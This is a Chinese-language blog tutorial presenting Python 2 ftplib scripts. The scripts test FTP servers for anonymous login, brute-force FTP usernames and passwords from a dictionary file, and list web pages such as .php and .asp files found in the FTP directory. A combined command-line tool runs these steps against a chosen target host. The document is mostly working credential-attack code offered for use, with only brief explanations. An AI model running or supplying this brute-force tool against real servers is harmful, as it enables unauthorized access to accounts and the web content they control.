1. 程式人生 > >Python指令碼暴力破解FTP口令

Python指令碼暴力破解FTP口令

目錄

判斷FTP伺服器是否允許匿名登入

暴力破解FTP口令

列出FTP目錄內的網頁檔案

綜合


環境:Windows python2.7.15

ftplib模組是python下用於ftp服務的模組 。

判斷FTP伺服器是否允許匿名登入

以下程式碼是判斷FTP伺服器是否允許匿名登入

我們寫了一個anonLogin() 函式,使用 ftp.login()方法進行匿名登入,如果沒有丟擲異常,說明FTP伺服器允許匿名登入。反之不允許。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov  4 10:25:17 2018
@author: 小謝
"""
import ftplib
def anonLogin(hostname):
    try:
        ftp=ftplib.FTP(hostname)       #例項化FTP連線
        ftp.login('anonymous','')      #匿名登入
        print '\n[*] '+hostname+' FTP Anonymous Login Succeeded!'
        ftp.quit()                    #退出FTP
        return True
    except Exception,e:               #如果捕獲到異常,說明不允許匿名登入
        print '\n[-] '+str(hostname)+' FTP Anonymous Login Failed!'
        return False
anonLogin('127.0.0.1')

暴力破解FTP口令

如果ftp伺服器不允許匿名登入呢,我們就需要通過密碼字典暴力破解ftp口令。我們通過讀取密碼字典中的使用者名稱和口令,一個一個去嘗試登入,如果沒捕獲到異常,說明使用者名稱和口令正確!密碼字典中使用者名稱和口令用 : 分隔。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov  4 10:36:49 2018
@author: 小謝
"""
import ftplib
def bruteLogin(hostname,passwdFile):
    f=open(passwdFile,'r')
    lines=f.readlines()
    for line in lines:
        user=line.split(":")[0]    #使用者名稱
        passwd=line.split(":")[1].strip("\n")  #密碼
        print '[+] Trying: '+user+": "+passwd
        try:
            ftp=ftplib.FTP(hostname)          #例項化FTP連線
            ftp.login(user,passwd)            #登入
            print '\n[*] '+hostname +' FTP Login Succeeded!'
            ftp.quit()       #退出FTP
            return(user,passwd)      #返回使用者名稱和密碼
        except Exception,e:
            pass
    print '\n[-] Could not brute force FTP credentials!'
    return(None,None)
a=bruteLogin("127.0.0.1","key.txt")
print("User:%s Password:%s"%a)

列出FTP目錄內的網頁檔案

在得到了使用者名稱和口令之後,我們就可以列出FTP目錄下的檔案,看是否存在網頁檔案。注意,我們這裡只能判斷FTP目錄這一級的檔案,而不能遞迴的判斷目錄內的檔案。因為我們只知道FTP目錄的相對路徑,而不知道絕對路徑!

# -*- coding: utf-8 -*-
"""
Created on Sun Nov  4 10:51:13 2018

@author: 小謝
"""
import ftplib
import os
def returnDefault(ftp):
    try:
        dirList=ftp.nlst()   #列出FTP目錄下的檔案或目錄
    except:
        dirList=[]
        print '[-] Could not list directory contents!'
        return
    retList=[]
    for filename in dirList:
        fn=filename.lower()        #將目錄名轉換為小寫
        if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
            print'[+] Found default page:'+filename
            retList.append(filename)
    return retList
def main():
    ftp=ftplib.FTP("127.0.0.1")   #例項化FTP連線
    ftp.login("admin","root")
    a=returnDefault(ftp)
    if a:
        print("Defalut Page List:")
        for i in a:
            print(i)
main()

綜合

我們可以結合前面三個指令碼,寫一個彙總的指令碼。當用戶執行指令碼的時候,沒加 -F/-f 引數指定密碼字典的時候,就預設檢視FTP伺服器是否可匿名登入,如果可匿名登入,則列出FTP目錄下的網頁檔案。如果不能匿名登入,就提示不能匿名登入。當指定了-F/-f 引數的話,就暴力破解 FTP 口令,如果破解成功了,則列出FTP目錄下是的網頁檔案。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov  4 12:12:41 2018
@author: 小謝
"""
import parser
import optparse
import ftplib
def anonLogin(hostname):     #驗證是否可匿名登入
    try:
        ftp=ftplib.FTP(hostname)
        ftp.login('','')  #匿名登入
        print '\n[*] '+hostname +' FTP Anonymous Login Succeeded!'
        return (True,ftp)
    except:
        print '\n[-] '+str(hostname)+' FTP Anonymous Login Failed!'
        return (False,ftp)
def bruteLogin(hostname,passwdFile):  #暴力破解
    f=open(passwdFile,'r')
    lines=f.readlines()
    for line in lines:
        user=line.split(":")[0]                #使用者名稱
        passwd=line.split(":")[1].strip("\n")  #密碼
        try:
            ftp=ftplib.FTP(hostname)
            ftp.login(user,passwd)
            print '\n[*] '+hostname +' FTP Login Succeeded!'
            print("User:%s Password:%s"%(user,passwd))
            return(True,ftp)
        except Exception,e:
            pass
    print '\n[-] Could not brute force FTP credentials!'
    return(False,ftp)
def returnDefault(ftp):     #列出FTP目錄下的網頁檔案
    try:
        dirList=ftp.nlst()   #列出FTP目錄下的檔案或目錄
    except Exception,e:
        print e
        print '[-] Could not list directory contents!'
        return
    retList=[]
    for filename in dirList:
        fn=filename.lower()        #將目錄名轉換為小寫
        if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
            print'[+] Found default page:'+filename
            retList.append(filename)
    return retList
def main(): 
    usage="python %prog -H <target host> -F/f <password file>"  #顯示檔案的用法幫助資訊
    parser=optparse.OptionParser(usage)   #例項化一個物件
    parser.add_option('-H',dest='Host',type='string',help='target host')
    parser.add_option('-f','-F',dest='File',type='string',help='target host')
    (options,args)=parser.parse_args()
    Host=options.Host
    File=options.File
    if Host==None:
        print(parser.usage)
        exit(0)
    if File==None:
        a=anonLogin(Host)
        if a[0]:
            returnDefault(a[1])  
    else:
        b=bruteLogin(Host,File)
        if b[0]:
            returnDefault(b[1])
    return 
if __name__=="__main__":
    main()